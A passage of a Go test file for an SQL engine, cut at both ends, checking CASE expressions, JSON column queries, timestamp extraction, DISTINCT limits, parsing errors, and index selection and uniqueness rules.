require.NoError(t, err) require.Len(t, rows, n) for _, row := range rows { department := row.ValuesByPosition[0].RawValue().(string) job, _ := row.ValuesByPosition[1].RawValue().(string) bonus, _ := row.ValuesByPosition[2].RawValue().(string) var expectedBonus string switch department { case "sales": if job == "manager" { expectedBonus = "20% Bonus" } else { expectedBonus = "10% Bonus" } case "engineering": if job == "senior engineer" { expectedBonus = "15% Bonus" } else { expectedBonus = "5% Bonus" } default: if job == "executive" { expectedBonus = "12% Bonus" } else { expectedBonus = "No Bonus" } } require.Equal(t, expectedBonus, bonus) } rows, err = engine.queryAll( context.Background(), nil, `SELECT CASE WHEN department = 'sales' THEN 'Sales Team' END AS department FROM employees WHERE department != 'sales' LIMIT 1 ;`, nil, ) require.NoError(t, err) require.Len(t, rows, 1) require.Nil(t, rows[0].ValuesByPosition[0].RawValue()) }) t.Run("invalid queries", func(t *testing.T) { r, err = engine.Query(context.Background(), nil, "INVALID QUERY", nil) require.ErrorIs(t, err, ErrParsingError) require.EqualError(t, err, "parsing error: syntax error: unexpected IDENTIFIER at position 7") require.Nil(t, r) r, err = engine.Query(context.Background(), nil, "UPSERT INTO table1 (id) VALUES(1)", nil) require.ErrorIs(t, err, ErrExpectingDQLStmt) require.Nil(t, r) r, err = engine.Query(context.Background(), nil, "UPSERT INTO table1 (id) VALUES(1); UPSERT INTO table1 (id) VALUES(1)", nil) require.ErrorIs(t, err, ErrExpectingDQLStmt) require.Nil(t, r) r, err = engine.QueryPreparedStmt(context.Background(), nil, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) require.Nil(t, r) params = make(map[string]interface{}) params["null_param"] = nil r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE active = @null_param", params) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("query from values", func(t *testing.T) { _, err := engine.queryAll( context.Background(), nil, ` SELECT * FROM ( VALUES (1, 'foo'), (2, true) ) `, nil, ) require.ErrorContains(t, err, "cannot match types VARCHAR and BOOLEAN") _, err = engine.queryAll( context.Background(), nil, ` SELECT * FROM ( VALUES (@a), (@b) ) `, map[string]interface{}{"a": 1, "b": "test"}, ) require.ErrorContains(t, err, "cannot match types INTEGER and VARCHAR") rows, err := engine.queryAll( context.Background(), nil, ` SELECT * FROM ( VALUES (1, 'foo', true, 1.22, '2024-11-29'::TIMESTAMP), (2, 'bar', false, 1.25, '1996-09-11'::TIMESTAMP), (3, 'baz', true, 2.50, '2000-01-01'::TIMESTAMP), (4, 'qux', false, 3.75, '2010-05-15'::TIMESTAMP), (5, 'quux', true, 0.99, '2022-12-31'::TIMESTAMP) ) `, nil, ) require.NoError(t, err) require.Len(t, rows, 5) expectedRows := []*Row{ { ValuesByPosition: []TypedValue{ &Integer{1}, &Varchar{"foo"}, &Bool{true}, &Float64{1.22}, &Timestamp{time.Date(2024, 11, 29, 0, 0, 0, 0, time.UTC)}, }, }, { ValuesByPosition: []TypedValue{ &Integer{2}, &Varchar{"bar"}, &Bool{false}, &Float64{1.25}, &Timestamp{time.Date(1996, 9, 11, 0, 0, 0, 0, time.UTC)}, }, }, { ValuesByPosition: []TypedValue{ &Integer{3}, &Varchar{"baz"}, &Bool{true}, &Float64{2.50}, &Timestamp{time.Date(2000, 1, 1, 0, 0, 0, 0, time.UTC)}, }, }, { ValuesByPosition: []TypedValue{ &Integer{4}, &Varchar{"qux"}, &Bool{false}, &Float64{3.75}, &Timestamp{time.Date(2010, 5, 15, 0, 0, 0, 0, time.UTC)}, }, }, { ValuesByPosition: []TypedValue{ &Integer{5}, &Varchar{"quux"}, &Bool{true}, &Float64{0.99}, &Timestamp{time.Date(2022, 12, 31, 0, 0, 0, 0, time.UTC)}, }, }, } for i, row := range rows { require.Equal(t, expectedRows[i].ValuesByPosition, row.ValuesByPosition) } }) t.Run("constant selection query", func(t *testing.T) { _, err := engine.queryAll( context.Background(), nil, "SELECT *", nil, ) require.ErrorContains(t, err, "SELECT * with no tables specified is not valid") assertQueryShouldProduceResults( t, engine, "SELECT 1, true, 'test'", "SELECT * FROM (VALUES (1, true, 'test'))", ) }) t.Run("should resolve rows equivalently for BETWEEN and >= AND <=", func(t *testing.T) { betweenRows, err := engine.queryAll( context.Background(), nil, "SELECT id, title FROM table1 WHERE id BETWEEN 1 AND 3 ORDER BY id", nil, ) require.NoError(t, err) rangeRows, err := engine.queryAll( context.Background(), nil, "SELECT id, title FROM table1 WHERE id >= 1 AND id <= 3 ORDER BY id", nil, ) require.NoError(t, err) require.Equal(t, betweenRows, rangeRows) }) } func TestExtractFromTimestamp(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) t.Run("extract from constant expressions", func(t *testing.T) { assertQueryShouldProduceResults( t, engine, `SELECT EXTRACT(YEAR FROM '2020-01-15'), EXTRACT(MONTH FROM '2020-01-15'), EXTRACT(DAY FROM '2020-01-15'::TIMESTAMP), EXTRACT(HOUR FROM '2020-01-15 12:30:24'), EXTRACT(MINUTE FROM '2020-01-15 12:30:24'), EXTRACT(SECOND FROM '2020-01-15 12:30:24'::TIMESTAMP) `, `SELECT * FROM ( VALUES (2020, 01, 15, 12, 30, 24) )`, ) }) t.Run("extract from table", func(t *testing.T) { _, _, err := engine.Exec( context.Background(), nil, `CREATE TABLE events(ts TIMESTAMP PRIMARY KEY); INSERT INTO events(ts) VALUES ('2021-07-04 14:45:30'::TIMESTAMP), ('1999-12-31 23:59:59'::TIMESTAMP); `, nil, ) require.NoError(t, err) assertQueryShouldProduceResults( t, engine, `SELECT EXTRACT(YEAR FROM ts), EXTRACT(MONTH FROM ts), EXTRACT(DAY FROM ts), EXTRACT(HOUR FROM ts), EXTRACT(MINUTE FROM ts), EXTRACT(SECOND FROM ts) FROM events ORDER BY ts `, `SELECT * FROM ( VALUES (1999, 12, 31, 23, 59, 59), (2021, 07, 04, 14, 45, 30) )`, ) }) } func TestJSON(t *testing.T) { opts := store.DefaultOptions().WithMultiIndexing(true) opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1)) st, err := store.Open(t.TempDir(), opts) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, ` CREATE TABLE tbl_with_json ( id INTEGER AUTO_INCREMENT, json_data JSON NOT NULL, PRIMARY KEY(id) )`, nil) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, `INSERT INTO tbl_with_json(json_data) VALUES ('invalid json value')`, nil, ) require.ErrorIs(t, err, ErrInvalidValue) _, _, err = engine.Exec( context.Background(), nil, `INSERT INTO tbl_with_json(json_data) VALUES (10)`, nil, ) require.ErrorIs(t, err, ErrInvalidValue) n := 100 for i := 0; i < n; i++ { data := fmt.Sprintf( `{"usr": {"name": "%s", "active": %t, "details": {"age": %d, "city": "%s"}, "perms": ["r", "w"]}}`, fmt.Sprintf("name%d", i+1), i%2 == 0, i+1, fmt.Sprintf("city%d", i+1), ) _, _, err = engine.Exec( context.Background(), nil, fmt.Sprintf(`INSERT INTO tbl_with_json(json_data) VALUES ('%s')`, data), nil, ) require.NoError(t, err) } t.Run("apply -> operator on non JSON column", func(t *testing.T) { _, err := engine.queryAll( context.Background(), nil, "SELECT id->'name' FROM tbl_with_json", nil, ) require.ErrorContains(t, err, "-> operator cannot be applied on column of type INTEGER") }) t.Run("filter json fields", func(t *testing.T) { t.Run("filter boolean value", func(t *testing.T) { rows, err := engine.queryAll( context.Background(), nil, ` SELECT json_data->'usr' FROM tbl_with_json WHERE json_data->'usr'->'active' = TRUE `, nil, ) require.NoError(t, err) require.Len(t, rows, n/2) for i, row := range rows { usr, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "json_data->'usr'")].RawValue().(map[string]interface{}) require.Equal(t, map[string]interface{}{ "name": fmt.Sprintf("name%d", (2*i + 1)), "active": true, "details": map[string]interface{}{ "age": float64((2*i + 1)), "city": fmt.Sprintf("city%d", (2*i + 1)), }, "perms": []interface{}{ "r", "w", }, }, usr) } }) t.Run("filter numeric value", func(t *testing.T) { rows, err := engine.queryAll( context.Background(), nil, ` SELECT json_data->'usr'->'name' FROM tbl_with_json WHERE json_data->'usr'->'details'->'age' + 1 >= 52 `, nil, ) require.NoError(t, err) require.Len(t, rows, n/2) for i, row := range rows { name := row.ValuesByPosition[0].RawValue() require.Equal(t, name, fmt.Sprintf("name%d", 51+i)) } }) t.Run("filter varchar value", func(t *testing.T) { rows, err := engine.queryAll( context.Background(), nil, ` SELECT json_data->'usr'->'name' FROM tbl_with_json WHERE json_data->'usr'->'name' LIKE '^name.*' AND json_data->'usr'->'perms'->'0' = 'r' `, nil, ) require.NoError(t, err) require.Len(t, rows, n) for i, row := range rows { name := row.ValuesByPosition[0].RawValue() require.Equal(t, name, fmt.Sprintf("name%d", i+1)) } }) }) t.Run("order by json field", func(t *testing.T) { _, err := engine.queryAll( context.Background(), nil, ` SELECT json_data FROM tbl_with_json ORDER BY json_data `, nil, ) require.ErrorIs(t, err, ErrNotComparableValues) rows, err := engine.queryAll( context.Background(), nil, ` SELECT json_data->'usr', json_data->'usr'->'details'->'age' as age, json_data->'usr'->'details'->'city' as city, json_data->'usr'->'name' as name FROM tbl_with_json ORDER BY json_data->'usr'->'details'->'age' DESC `, nil, ) require.NoError(t, err) require.Len(t, rows, n) for i, row := range rows { usr, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "json_data->'usr'")].RawValue().(map[string]interface{}) name, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "name")].RawValue().(string) age, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "age")].RawValue().(float64) city, _ := row.ValuesBySelector[EncodeSelector("", "tbl_with_json", "city")].RawValue().(string) require.Equal(t, map[string]interface{}{ "name": name, "active": (n-1-i)%2 == 0, "details": map[string]interface{}{ "age": age, "city": city, }, "perms": []interface{}{"r", "w"}, }, usr) require.Equal(t, fmt.Sprintf("name%d", n-i), name) require.Equal(t, float64(n-i), age) require.Equal(t, fmt.Sprintf("city%d", n-i), city) } }) t.Run("test join on json field", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER AUTO_INCREMENT, value VARCHAR, PRIMARY KEY(id))", nil) require.NoError(t, err) for i := 0; i < 10; i++ { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(value) VALUES (@name)", map[string]interface{}{"name": fmt.Sprintf("name%d", i+1)}) require.NoError(t, err) } rows, err := engine.queryAll( context.Background(), nil, "SELECT table1.value, json_data->'usr'->'name' FROM tbl_with_json JOIN table1 ON table1.value = tbl_with_json.json_data->'usr'->'name' ORDER BY table1.id", nil, ) require.NoError(t, err) require.Len(t, rows, 10) for i, row := range rows { require.Len(t, row.ValuesByPosition, 2) require.Equal(t, fmt.Sprintf("name%d", i+1), row.ValuesByPosition[0].RawValue()) require.Equal(t, row.ValuesByPosition[0].RawValue(), row.ValuesByPosition[1].RawValue()) } }) _, _, err = engine.Exec(context.Background(), nil, "DELETE FROM tbl_with_json", nil) require.NoError(t, err) randJson := func(src *rand.Rand) interface{} { switch src.Intn(6) { case 0: return src.Float64() case 1: return fmt.Sprintf("string%d", src.Int63()) case 2: return src.Int()%2 == 0 case 3: return map[string]interface{}{ "test": "value", } case 4: return []interface{}{"test", true, 10.5} } return nil } seed := time.Now().UnixNano() src := rand.New(rand.NewSource(seed)) for i := 0; i < n; i++ { data := randJson(src) jsonData, err := json.Marshal(data) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO tbl_with_json(json_data) VALUES (@data)", map[string]interface{}{"data": string(jsonData)}, ) require.NoError(t, err) } t.Run("lookup field", func(t *testing.T) { rows, err := engine.queryAll( context.Background(), nil, "SELECT json_data, json_data->'test' FROM tbl_with_json", nil, ) require.NoError(t, err) require.Len(t, rows, n) for _, row := range rows { data := row.ValuesByPosition[0].RawValue() value := row.ValuesByPosition[1].RawValue() if _, isObject := data.(map[string]interface{}); isObject { require.Equal(t, "value", row.ValuesByPosition[1].RawValue()) } else { require.Nil(t, value) } } }) t.Run("query json with mixed types", func(t *testing.T) { rows, err := engine.queryAll( context.Background(), nil, "SELECT json_data FROM tbl_with_json", nil, ) require.NoError(t, err) require.Len(t, rows, n) stringValues := 0 src := rand.New(rand.NewSource(seed)) for _, row := range rows { s := row.ValuesByPosition[0].RawValue() require.Equal(t, randJson(src), s) if _, ok := s.(string); ok { stringValues++ } } rows, err = engine.queryAll( context.Background(), nil, "SELECT COUNT(*) FROM tbl_with_json WHERE json_typeof(json_data) = 'STRING'", nil, ) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(stringValues)) }) t.Run("update json data", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, fmt.Sprintf(`UPDATE tbl_with_json SET json_data = '%d' WHERE json_typeof(json_data) = 'STRING'`, rand.Int63()), nil, ) require.NoError(t, err) rows, err := engine.queryAll( context.Background(), nil, "SELECT COUNT(*) FROM tbl_with_json WHERE json_typeof(json_data) = 'STRING'", nil, ) require.NoError(t, err) require.Len(t, rows, 1) require.Zero(t, rows[0].ValuesByPosition[0].RawValue()) }) t.Run("cannot index json column", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, "CREATE INDEX ON tbl_with_json(json_data);", nil) require.ErrorIs(t, err, ErrCannotIndexJson) _, _, err = engine.Exec( context.Background(), nil, ` CREATE TABLE test ( json_data JSON NOT NULL, PRIMARY KEY(json_data) )`, nil) require.ErrorIs(t, err, ErrCannotIndexJson) }) } func TestQueryCornerCases(t *testing.T) { opts := store.DefaultOptions().WithMultiIndexing(true) opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1)) st, err := store.Open(t.TempDir(), opts) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, ` CREATE TABLE table1 ( id INTEGER AUTO_INCREMENT, PRIMARY KEY(id) )`, nil) require.NoError(t, err) res, err := engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) err = res.Close() require.NoError(t, err) t.Run("run out of snapshots", func(t *testing.T) { // Get one tx that takes the snapshot tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) res, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.ErrorIs(t, err, tbtree.ErrorToManyActiveSnapshots) require.Nil(t, res) res, err = engine.Query(context.Background(), tx, "SELECT * FROM table1", nil) require.NoError(t, err) err = res.Close() require.NoError(t, err) err = tx.Cancel() require.NoError(t, err) }) t.Run("invalid query parameters", func(t *testing.T) { _, err := engine.Query(context.Background(), nil, "SELECT * FROM table1", map[string]interface{}{ "param": "value", "Param": "value", }) require.ErrorIs(t, err, ErrDuplicatedParameters) }) } func TestQueryDistinct(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) opts := DefaultOptions().WithPrefix(sqlPrefix).WithDistinctLimit(4) engine, err := NewEngine(st, opts) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table1 ( id INTEGER AUTO_INCREMENT, title VARCHAR, amount INTEGER, active BOOLEAN, PRIMARY KEY id)`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table1 (title, amount, active) VALUES ('title1', 100, NULL), ('title2', 200, false), ('title3', 200, true), ('title4', 300, NULL)`, nil) require.NoError(t, err) t.Run("should return all titles", func(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id", params) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(table1.title)", cols[0].Selector()) for i := 1; i <= 3; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(table1.title)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("should return two titles", func(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2", params) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(table1.title)", cols[0].Selector()) for i := 1; i <= 2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(table1.title)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("should return two titles starting from the second one", func(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2 OFFSET 1", params) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(table1.title)", cols[0].Selector()) for i := 2; i <= 3; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(table1.title)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("should return two distinct amounts", func(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT amount FROM table1 WHERE id <= @id", params) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(table1.amount)", cols[0].Selector()) for i := 1; i <= 2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, int64(i*100), row.ValuesBySelector["(table1.amount)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("should return rows with null, false and true", func(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT active FROM table1 WHERE id <= @id", params) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(table1.active)", cols[0].Selector()) for i := 0; i <= 2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) if i == 0 { require.Nil(t, row.ValuesBySelector["(table1.active)"].RawValue()) continue } require.Equal(t, i == 2, row.ValuesBySelector["(table1.active)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("should return three rows", func(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT amount, active FROM table1 WHERE id <= @id", params) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 2) require.Equal(t, "(table1.amount)", cols[0].Selector()) require.Equal(t, "(table1.active)", cols[1].Selector()) for i := 0; i <= 2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 2) if i == 0 { require.Equal(t, int64(100), row.ValuesBySelector["(table1.amount)"].RawValue()) require.Nil(t, row.ValuesBySelector["(table1.active)"].RawValue()) continue } require.Equal(t, int64(200), row.ValuesBySelector["(table1.amount)"].RawValue()) require.Equal(t, i == 2, row.ValuesBySelector["(table1.active)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("should return too many rows error", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT id FROM table1", nil) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(table1.id)", cols[0].Selector()) for i := 0; i < engine.distinctLimit; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, int64(i+1), row.ValuesBySelector["(table1.id)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrTooManyRows) err = r.Close() require.NoError(t, err) }) } func TestIndexSelection(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, `CREATE TABLE table1 ( v0 INTEGER, v1 INTEGER, v2 INTEGER, v3 INTEGER, v4 INTEGER, v5 INTEGER, PRIMARY KEY (v0, v1) )`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX on table1(v1, v2, v3, v4)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX on table1(v3, v4)", nil) require.NoError(t, err) type test struct { query string expectedIndex []string expectedGroupBySortCols []string expectedOrderBySortCols []string desc bool } testCases := []test{ { query: "SELECT * FROM table1", expectedIndex: []string{"v0", "v1"}, }, { query: "SELECT * FROM table1 ORDER BY v1", expectedIndex: []string{"v1", "v2", "v3", "v4"}, }, { query: "SELECT * FROM table1 WHERE v0 = 0 ORDER BY v1", expectedIndex: []string{"v0", "v1"}, }, { query: "SELECT * FROM table1 ORDER BY v5 DESC", expectedIndex: []string{"v0", "v1"}, expectedOrderBySortCols: []string{EncodeSelector("", "table1", "v5")}, }, { query: "SELECT * FROM table1 ORDER BY v1, v2, v3", expectedIndex: []string{"v1", "v2", "v3", "v4"}, }, { query: "SELECT * FROM table1 WHERE v1 = 0 AND v2 = 1 ORDER BY v3 DESC", expectedIndex: []string{"v1", "v2", "v3", "v4"}, desc: true, }, { query: "SELECT * FROM table1 ORDER BY v3 DESC, v4 DESC", expectedIndex: []string{"v3", "v4"}, desc: true, }, { query: "SELECT * FROM table1 ORDER BY v3 DESC, v4 ASC", expectedIndex: []string{"v0", "v1"}, expectedOrderBySortCols: []string{EncodeSelector("", "table1", "v3"), EncodeSelector("", "table1", "v4")}, }, { query: "SELECT * FROM table1 USE INDEX ON (v1, v2, v3, v4) ORDER BY v3 DESC, v4 DESC", expectedIndex: []string{"v1", "v2", "v3", "v4"}, expectedOrderBySortCols: []string{EncodeSelector("", "table1", "v3"), EncodeSelector("", "table1", "v4")}, }, { query: "SELECT COUNT(*) FROM table1 GROUP BY v1, v2", expectedIndex: []string{"v1", "v2", "v3", "v4"}, }, { query: "SELECT COUNT(*) FROM table1 GROUP BY v1, v3", expectedIndex: []string{"v0", "v1"}, expectedGroupBySortCols: []string{EncodeSelector("", "table1", "v1"), EncodeSelector("", "table1", "v3")}, }, { query: "SELECT COUNT(*) FROM table1 GROUP BY v1, v2, v3 ORDER BY v1 DESC, v3 DESC", expectedIndex: []string{"v1", "v2", "v3", "v4"}, expectedOrderBySortCols: []string{EncodeSelector("", "table1", "v1"), EncodeSelector("", "table1", "v3")}, }, { query: "SELECT COUNT(*) FROM table1 WHERE v1 = 0 AND v2 = 1 GROUP BY v2, v3 ORDER BY v3 DESC", expectedIndex: []string{"v1", "v2", "v3", "v4"}, desc: true, }, { query: "SELECT COUNT(*) FROM table1 GROUP BY v1, v2, v3 ORDER BY v1 DESC, v2 DESC", expectedIndex: []string{"v1", "v2", "v3", "v4"}, desc: true, }, { query: "SELECT COUNT(*) FROM table1 GROUP BY v1, v2, v3 ORDER BY v1, v2, v3, COUNT(*)", expectedIndex: []string{"v1", "v2", "v3", "v4"}, expectedOrderBySortCols: []string{ EncodeSelector("", "table1", "v1"), EncodeSelector("", "table1", "v2"), EncodeSelector("", "table1", "v3"), EncodeSelector("COUNT", "table1", "*"), }, }, { query: "SELECT COUNT(*) FROM table1 GROUP BY v4, v3 ORDER BY v3 DESC, v4 DESC", expectedIndex: []string{"v0", "v1"}, expectedGroupBySortCols: []string{EncodeSelector("", "table1", "v4"), EncodeSelector("", "table1", "v3")}, expectedOrderBySortCols: []string{EncodeSelector("", "table1", "v3"), EncodeSelector("", "table1", "v4")}, }, { query: "SELECT COUNT(*) FROM table1 USE INDEX ON(v3, v4) GROUP BY v1, v2 ORDER BY v1 DESC, v2 DESC", expectedIndex: []string{"v3", "v4"}, expectedGroupBySortCols: []string{EncodeSelector("", "table1", "v1"), EncodeSelector("", "table1", "v2")}, }, } for i, testCase := range testCases { t.Run(fmt.Sprintf("test index selection %d", i), func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, testCase.query, nil) require.NoError(t, err) defer reader.Close() specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.Len(t, specs.Index.cols, len(testCase.expectedIndex)) require.Equal(t, specs.DescOrder, testCase.desc) require.Len(t, specs.groupBySortExps, len(testCase.expectedGroupBySortCols)) require.Len(t, specs.orderBySortExps, len(testCase.expectedOrderBySortCols)) for i, col := range testCase.expectedIndex { require.Equal(t, col, specs.Index.cols[i].Name()) } for i, col := range testCase.expectedGroupBySortCols { require.Equal(t, col, EncodeSelector(specs.groupBySortExps[i].AsSelector().resolve("table1"))) } for i, col := range testCase.expectedOrderBySortCols { require.Equal(t, col, EncodeSelector(specs.orderBySortExps[i].AsSelector().resolve("table1"))) } }) } } func TestIndexing(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, `CREATE TABLE table1 ( id INTEGER AUTO_INCREMENT, ts INTEGER, title VARCHAR[20], active BOOLEAN, amount INTEGER, payload BLOB, PRIMARY KEY id )`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (ts)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1 (title, amount)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (active, title)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1 (title)", nil) require.NoError(t, err) t.Run("should fail due to unique index", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (ts, title, amount, active) VALUES (1, 'title1', 10, true), (2, 'title1', 10, false)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) }) t.Run("should use primary index by default", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "id", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.True(t, scanSpecs.Index.IsPrimary()) require.Empty(t, scanSpecs.rangesByColID) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use primary index in descending order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY id DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "id", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.True(t, scanSpecs.Index.IsPrimary()) require.Empty(t, scanSpecs.rangesByColID) require.True(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `ts` ascending order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY ts", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "ts", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.False(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Empty(t, scanSpecs.rangesByColID) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `ts` descending order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY ts DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "ts", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.False(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Empty(t, scanSpecs.rangesByColID) require.True(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `ts` with specific value", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE ts = 1629902962 OR ts < 1629902963 ORDER BY ts", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "ts", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.False(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) 